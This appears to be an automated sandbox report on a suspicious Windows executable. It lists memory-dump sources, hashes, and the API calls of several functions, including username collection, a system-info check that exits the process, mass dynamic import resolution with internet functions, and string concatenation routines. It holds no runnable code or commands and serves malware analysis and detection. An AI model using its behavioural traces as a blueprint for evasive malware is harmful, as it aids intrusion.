Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 725ffd9cdc7e74e8054f42b1d08f56c36e0b11f53f6b708f6e3df7c1922d838c
Instruction ID: 423978b59474a482abd1f04079d99c43535170d7062933531ef34ba00a2184d4
Opcode Fuzzy Hash: 725ffd9cdc7e74e8054f42b1d08f56c36e0b11f53f6b708f6e3df7c1922d838c
Instruction Fuzzy Hash: B401A9B2944308EFC710DF95D949BAFBBB8F704B21F10421AF545E7380D77459008BA2

Function 00FD7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FC11B7), ref: 00FD7880
RtlAllocateHeap.NTDLL(00000000), ref: 00FD7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FD789F

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: f207fe8da1cd53d9ee99ae967e05a056ccaa00ad6f8a58ed5b5664014e79af55
Instruction ID: c92bfb0957a25cab5c2766707f156eb5617e438e3dabe1f1e8595e364b5924af
Opcode Fuzzy Hash: f207fe8da1cd53d9ee99ae967e05a056ccaa00ad6f8a58ed5b5664014e79af55
Instruction Fuzzy Hash: CAF04FB1944308ABC714DF98D949BAEBBB8FB04711F10025AFA05A3780C77455048BA1

Function 00FC1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00FC116A
ExitProcess.KERNEL32 ref: 00FC117E

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 700c6722383be2e116c34af9673a056daad328a69e04b5a4b18adf34a4bf6ac0
Instruction ID: e45f80a4cebb4b07df09df423bcdce52a43729213448e21a5ca011fd8a29852b
Opcode Fuzzy Hash: 700c6722383be2e116c34af9673a056daad328a69e04b5a4b18adf34a4bf6ac0
Instruction Fuzzy Hash: 62D05E7490030CDBCB14DFE0E94EADDBB78FB08311F400658D90663341EA305495CBA5

Function 00FD9C10 Relevance: 222.9, APIs: 112, Strings: 15, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,007A5D50), ref: 00FD9C2D
GetProcAddress.KERNEL32(74DD0000,007A5BB0), ref: 00FD9C45
GetProcAddress.KERNEL32(74DD0000,007B9688), ref: 00FD9C5E
GetProcAddress.KERNEL32(74DD0000,007B96A0), ref: 00FD9C76
GetProcAddress.KERNEL32(74DD0000,007B9628), ref: 00FD9C8E
GetProcAddress.KERNEL32(74DD0000,007B96B8), ref: 00FD9CA7
GetProcAddress.KERNEL32(74DD0000,007AB6D0), ref: 00FD9CBF
GetProcAddress.KERNEL32(74DD0000,007BCF90), ref: 00FD9CD7
GetProcAddress.KERNEL32(74DD0000,007BD098), ref: 00FD9CF0
GetProcAddress.KERNEL32(74DD0000,007BCE70), ref: 00FD9D08
GetProcAddress.KERNEL32(74DD0000,007BCE28), ref: 00FD9D20
GetProcAddress.KERNEL32(74DD0000,007A5B50), ref: 00FD9D39
GetProcAddress.KERNEL32(74DD0000,007A5C90), ref: 00FD9D51
GetProcAddress.KERNEL32(74DD0000,007A5D70), ref: 00FD9D69
GetProcAddress.KERNEL32(74DD0000,007A5DD0), ref: 00FD9D82
GetProcAddress.KERNEL32(74DD0000,007BD0E0), ref: 00FD9D9A
GetProcAddress.KERNEL32(74DD0000,007BCDF8), ref: 00FD9DB2
GetProcAddress.KERNEL32(74DD0000,007AB6A8), ref: 00FD9DCB
GetProcAddress.KERNEL32(74DD0000,007A5B90), ref: 00FD9DE3
GetProcAddress.KERNEL32(74DD0000,007BD068), ref: 00FD9DFB
GetProcAddress.KERNEL32(74DD0000,007BD0C8), ref: 00FD9E14
GetProcAddress.KERNEL32(74DD0000,007BD0B0), ref: 00FD9E2C
GetProcAddress.KERNEL32(74DD0000,007BCE58), ref: 00FD9E44
GetProcAddress.KERNEL32(74DD0000,007A5BD0), ref: 00FD9E5D
GetProcAddress.KERNEL32(74DD0000,007BCE40), ref: 00FD9E75
GetProcAddress.KERNEL32(74DD0000,007BCF00), ref: 00FD9E8D
GetProcAddress.KERNEL32(74DD0000,007BD008), ref: 00FD9EA6
GetProcAddress.KERNEL32(74DD0000,007BCE88), ref: 00FD9EBE
GetProcAddress.KERNEL32(74DD0000,007BCEA0), ref: 00FD9ED6
GetProcAddress.KERNEL32(74DD0000,007BCEB8), ref: 00FD9EEF
GetProcAddress.KERNEL32(74DD0000,007BCE10), ref: 00FD9F07
GetProcAddress.KERNEL32(74DD0000,007BCED0), ref: 00FD9F1F
GetProcAddress.KERNEL32(74DD0000,007BCEE8), ref: 00FD9F38
GetProcAddress.KERNEL32(74DD0000,007BA690), ref: 00FD9F50
GetProcAddress.KERNEL32(74DD0000,007BCF30), ref: 00FD9F68
GetProcAddress.KERNEL32(74DD0000,007BCF48), ref: 00FD9F81
GetProcAddress.KERNEL32(74DD0000,007A5CB0), ref: 00FD9F99
GetProcAddress.KERNEL32(74DD0000,007BCFC0), ref: 00FD9FB1
GetProcAddress.KERNEL32(74DD0000,007A59B0), ref: 00FD9FCA
GetProcAddress.KERNEL32(74DD0000,007BCF18), ref: 00FD9FE2
GetProcAddress.KERNEL32(74DD0000,007BD020), ref: 00FD9FFA
GetProcAddress.KERNEL32(74DD0000,007A5A10), ref: 00FDA013
GetProcAddress.KERNEL32(74DD0000,007A58F0), ref: 00FDA02B
LoadLibraryA.KERNEL32(007BCF60,?,00FD5CA3,00FE0AEB,?,?,?,?,?,?,?,?,?,?,00FE0AEA,00FE0AE3), ref: 00FDA03D
LoadLibraryA.KERNEL32(007BCF78,?,00FD5CA3,00FE0AEB,?,?,?,?,?,?,?,?,?,?,00FE0AEA,00FE0AE3), ref: 00FDA04E
LoadLibraryA.KERNEL32(007BCFA8,?,00FD5CA3,00FE0AEB,?,?,?,?,?,?,?,?,?,?,00FE0AEA,00FE0AE3), ref: 00FDA060
LoadLibraryA.KERNEL32(007BCFD8,?,00FD5CA3,00FE0AEB,?,?,?,?,?,?,?,?,?,?,00FE0AEA,00FE0AE3), ref: 00FDA072
LoadLibraryA.KERNEL32(007BCFF0,?,00FD5CA3,00FE0AEB,?,?,?,?,?,?,?,?,?,?,00FE0AEA,00FE0AE3), ref: 00FDA083
LoadLibraryA.KERNEL32(007BD080,?,00FD5CA3,00FE0AEB,?,?,?,?,?,?,?,?,?,?,00FE0AEA,00FE0AE3), ref: 00FDA095
LoadLibraryA.KERNEL32(007BD038,?,00FD5CA3,00FE0AEB,?,?,?,?,?,?,?,?,?,?,00FE0AEA,00FE0AE3), ref: 00FDA0A7
LoadLibraryA.KERNEL32(007BD050,?,00FD5CA3,00FE0AEB,?,?,?,?,?,?,?,?,?,?,00FE0AEA,00FE0AE3), ref: 00FDA0B8
GetProcAddress.KERNEL32(75290000,007A5770), ref: 00FDA0DA
GetProcAddress.KERNEL32(75290000,007BD260), ref: 00FDA0F2
GetProcAddress.KERNEL32(75290000,007B9268), ref: 00FDA10A
GetProcAddress.KERNEL32(75290000,007BD1E8), ref: 00FDA123
GetProcAddress.KERNEL32(75290000,007A57D0), ref: 00FDA13B
GetProcAddress.KERNEL32(734C0000,007AB608), ref: 00FDA160
GetProcAddress.KERNEL32(734C0000,007A5A90), ref: 00FDA179
GetProcAddress.KERNEL32(734C0000,007AB9C8), ref: 00FDA191
GetProcAddress.KERNEL32(734C0000,007BD218), ref: 00FDA1A9
GetProcAddress.KERNEL32(734C0000,007BD170), ref: 00FDA1C2
GetProcAddress.KERNEL32(734C0000,007A5890), ref: 00FDA1DA
GetProcAddress.KERNEL32(734C0000,007A5790), ref: 00FDA1F2
GetProcAddress.KERNEL32(734C0000,007BD230), ref: 00FDA20B
GetProcAddress.KERNEL32(752C0000,007A5A50), ref: 00FDA22C
GetProcAddress.KERNEL32(752C0000,007A58B0), ref: 00FDA244
GetProcAddress.KERNEL32(752C0000,007BD2D8), ref: 00FDA25D
GetProcAddress.KERNEL32(752C0000,007BD278), ref: 00FDA275
GetProcAddress.KERNEL32(752C0000,007A57B0), ref: 00FDA28D
GetProcAddress.KERNEL32(74EC0000,007AB6F8), ref: 00FDA2B3
GetProcAddress.KERNEL32(74EC0000,007AB720), ref: 00FDA2CB
GetProcAddress.KERNEL32(74EC0000,007BD308), ref: 00FDA2E3
GetProcAddress.KERNEL32(74EC0000,007A56B0), ref: 00FDA2FC
GetProcAddress.KERNEL32(74EC0000,007A58D0), ref: 00FDA314
GetProcAddress.KERNEL32(74EC0000,007AB630), ref: 00FDA32C
GetProcAddress.KERNEL32(75BD0000,007BD3B0), ref: 00FDA352
GetProcAddress.KERNEL32(75BD0000,007A59D0), ref: 00FDA36A
GetProcAddress.KERNEL32(75BD0000,007B91E8), ref: 00FDA382
GetProcAddress.KERNEL32(75BD0000,007BD2A8), ref: 00FDA39B
GetProcAddress.KERNEL32(75BD0000,007BD248), ref: 00FDA3B3
GetProcAddress.KERNEL32(75BD0000,007A57F0), ref: 00FDA3CB
GetProcAddress.KERNEL32(75BD0000,007A5850), ref: 00FDA3E4
GetProcAddress.KERNEL32(75BD0000,007BD200), ref: 00FDA3FC
GetProcAddress.KERNEL32(75BD0000,007BD1B8), ref: 00FDA414
GetProcAddress.KERNEL32(75A70000,007A5910), ref: 00FDA436
GetProcAddress.KERNEL32(75A70000,007BD110), ref: 00FDA44E
GetProcAddress.KERNEL32(75A70000,007BD290), ref: 00FDA466
GetProcAddress.KERNEL32(75A70000,007BD158), ref: 00FDA47F
GetProcAddress.KERNEL32(75A70000,007BD128), ref: 00FDA497
GetProcAddress.KERNEL32(75450000,007A5810), ref: 00FDA4B8
GetProcAddress.KERNEL32(75450000,007A5830), ref: 00FDA4D1
GetProcAddress.KERNEL32(75DA0000,007A5870), ref: 00FDA4F2
GetProcAddress.KERNEL32(75DA0000,007BD338), ref: 00FDA50A
GetProcAddress.KERNEL32(6F070000,007A5A70), ref: 00FDA530
GetProcAddress.KERNEL32(6F070000,007A5930), ref: 00FDA548
GetProcAddress.KERNEL32(6F070000,007A5950), ref: 00FDA560
GetProcAddress.KERNEL32(6F070000,007BD2C0), ref: 00FDA579
GetProcAddress.KERNEL32(6F070000,007A5970), ref: 00FDA591
GetProcAddress.KERNEL32(6F070000,007A5A30), ref: 00FDA5A9
GetProcAddress.KERNEL32(6F070000,007A56D0), ref: 00FDA5C2
GetProcAddress.KERNEL32(6F070000,007A5990), ref: 00FDA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00FDA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00FDA607
GetProcAddress.KERNEL32(75AF0000,007BD3E0), ref: 00FDA629
GetProcAddress.KERNEL32(75AF0000,007B9278), ref: 00FDA641
GetProcAddress.KERNEL32(75AF0000,007BD380), ref: 00FDA659
GetProcAddress.KERNEL32(75AF0000,007BD368), ref: 00FDA672
GetProcAddress.KERNEL32(75D90000,007A56F0), ref: 00FDA693
GetProcAddress.KERNEL32(6CFD0000,007BD398), ref: 00FDA6B4
GetProcAddress.KERNEL32(6CFD0000,007A59F0), ref: 00FDA6CD
GetProcAddress.KERNEL32(6CFD0000,007BD2F0), ref: 00FDA6E5
GetProcAddress.KERNEL32(6CFD0000,007BD0F8), ref: 00FDA6FD

Strings

pWz, xrefs: 00FDA0CC
0Zz, xrefs: 00FDA59C
0Xz, xrefs: 00FDA4C3
P[z, xrefs: 00FD9D2B
pXz, xrefs: 00FDA4E5
p]z, xrefs: 00FD9D5C
PYz, xrefs: 00FDA553
PXz, xrefs: 00FDA3D6
pYz, xrefs: 00FDA584
PZz, xrefs: 00FDA21F
pZz, xrefs: 00FDA522
InternetSetOptionA, xrefs: 00FDA5E5
HttpQueryInfoA, xrefs: 00FDA5FC
0Yz, xrefs: 00FDA53B
P]z, xrefs: 00FD9C20

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0Xz$0Yz$0Zz$HttpQueryInfoA$InternetSetOptionA$PXz$PYz$PZz$P[z$P]z$pWz$pXz$pYz$pZz$p]z
API String ID: 2238633743-854754226
Opcode ID: 3dcc0e1b7dfd85bc0ded6f664d78dc25b33a58588ad82867865135d00b218676
Instruction ID: eaa4e708d0e32b805debfbb5e7348153b05bcc54faec497318b07bcecacf8aea
Opcode Fuzzy Hash: 3dcc0e1b7dfd85bc0ded6f664d78dc25b33a58588ad82867865135d00b218676
Instruction Fuzzy Hash: 33623BB5511300AFC36BDFA8F98C95A3BF9F78C301394871AA60AC726ED7399941DB50

Function 00FC7710 Relevance: 100.3, APIs: 54, Strings: 3, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FC7724
RtlAllocateHeap.NTDLL(00000000), ref: 00FC772B
lstrcat.KERNEL32(?,007B9C80), ref: 00FC78DB
lstrcat.KERNEL32(?,?), ref: 00FC78EF
lstrcat.KERNEL32(?,?), ref: 00FC7903
lstrcat.KERNEL32(?,?), ref: 00FC7917
lstrcat.KERNEL32(?,007BE188), ref: 00FC792B
lstrcat.KERNEL32(?,007BE458), ref: 00FC793F
lstrcat.KERNEL32(?,007BE230), ref: 00FC7952
lstrcat.KERNEL32(?,007BE1A0), ref: 00FC7966
lstrcat.KERNEL32(?,007B9D08), ref: 00FC797A
lstrcat.KERNEL32(?,?), ref: 00FC798E
lstrcat.KERNEL32(?,?), ref: 00FC79A2
lstrcat.KERNEL32(?,?), ref: 00FC79B6
lstrcat.KERNEL32(?,007BE188), ref: 00FC79C9
lstrcat.KERNEL32(?,007BE458), ref: 00FC79DD
lstrcat.KERNEL32(?,007BE230), ref: 00FC79F1
lstrcat.KERNEL32(?,007BE1A0), ref: 00FC7A04
lstrcat.KERNEL32(?,007B9D70), ref: 00FC7A18
lstrcat.KERNEL32(?,?), ref: 00FC7A2C
lstrcat.KERNEL32(?,?), ref: 00FC7A40
lstrcat.KERNEL32(?,?), ref: 00FC7A54
lstrcat.KERNEL32(?,007BE188), ref: 00FC7A68
lstrcat.KERNEL32(?,007BE458), ref: 00FC7A7B
lstrcat.KERNEL32(?,007BE230), ref: 00FC7A8F
lstrcat.KERNEL32(?,007BE1A0), ref: 00FC7AA3
lstrcat.KERNEL32(?,007B9DD8), ref: 00FC7AB6
lstrcat.KERNEL32(?,?), ref: 00FC7ACA
lstrcat.KERNEL32(?,?), ref: 00FC7ADE
lstrcat.KERNEL32(?,?), ref: 00FC7AF2
lstrcat.KERNEL32(?,007BE188), ref: 00FC7B06
lstrcat.KERNEL32(?,007BE458), ref: 00FC7B1A
lstrcat.KERNEL32(?,007BE230), ref: 00FC7B2D
lstrcat.KERNEL32(?,007BE1A0), ref: 00FC7B41
lstrcat.KERNEL32(?,007BE648), ref: 00FC7B55
lstrcat.KERNEL32(?,?), ref: 00FC7B69
lstrcat.KERNEL32(?,?), ref: 00FC7B7D
lstrcat.KERNEL32(?,?), ref: 00FC7B91
lstrcat.KERNEL32(?,007BE188), ref: 00FC7BA4
lstrcat.KERNEL32(?,007BE458), ref: 00FC7BB8
lstrcat.KERNEL32(?,007BE230), ref: 00FC7BCC
lstrcat.KERNEL32(?,007BE1A0), ref: 00FC7BDF
lstrcat.KERNEL32(?,007BE6B0), ref: 00FC7BF3
lstrcat.KERNEL32(?,?), ref: 00FC7C07
lstrcat.KERNEL32(?,?), ref: 00FC7C1B
lstrcat.KERNEL32(?,?), ref: 00FC7C2F
lstrcat.KERNEL32(?,007BE188), ref: 00FC7C43
lstrcat.KERNEL32(?,007BE458), ref: 00FC7C56
lstrcat.KERNEL32(?,007BE230), ref: 00FC7C6A
lstrcat.KERNEL32(?,007BE1A0), ref: 00FC7C7E

Part of subcall function 00FC75D0: lstrcat.KERNEL32(2F63C020,00FE17FC), ref: 00FC7606
Part of subcall function 00FC75D0: lstrcat.KERNEL32(2F63C020,00000000), ref: 00FC7648
Part of subcall function 00FC75D0: lstrcat.KERNEL32(2F63C020, : ), ref: 00FC765A
Part of subcall function 00FC75D0: lstrcat.KERNEL32(2F63C020,00000000), ref: 00FC768F
Part of subcall function 00FC75D0: lstrcat.KERNEL32(2F63C020,00FE1804), ref: 00FC76A0
Part of subcall function 00FC75D0: lstrcat.KERNEL32(2F63C020,00000000), ref: 00FC76D3
Part of subcall function 00FC75D0: lstrcat.KERNEL32(2F63C020,00FE1808), ref: 00FC76ED
Part of subcall function 00FC75D0: task.LIBCPMTD ref: 00FC76FB

lstrcat.KERNEL32(?,007BE918), ref: 00FC7E0B
lstrcat.KERNEL32(?,007BDAC0), ref: 00FC7E1E
lstrlen.KERNEL32(2F63C020), ref: 00FC7E2B
lstrlen.KERNEL32(2F63C020), ref: 00FC7E3B

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Strings

X{, xrefs: 00FC7931, 00FC79CF, 00FC7A6E, 00FC7B0C, 00FC7BAA, 00FC7C49
0{, xrefs: 00FC7945, 00FC79E3, 00FC7A81, 00FC7B20, 00FC7BBE, 00FC7C5C
H{, xrefs: 00FC7B47

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
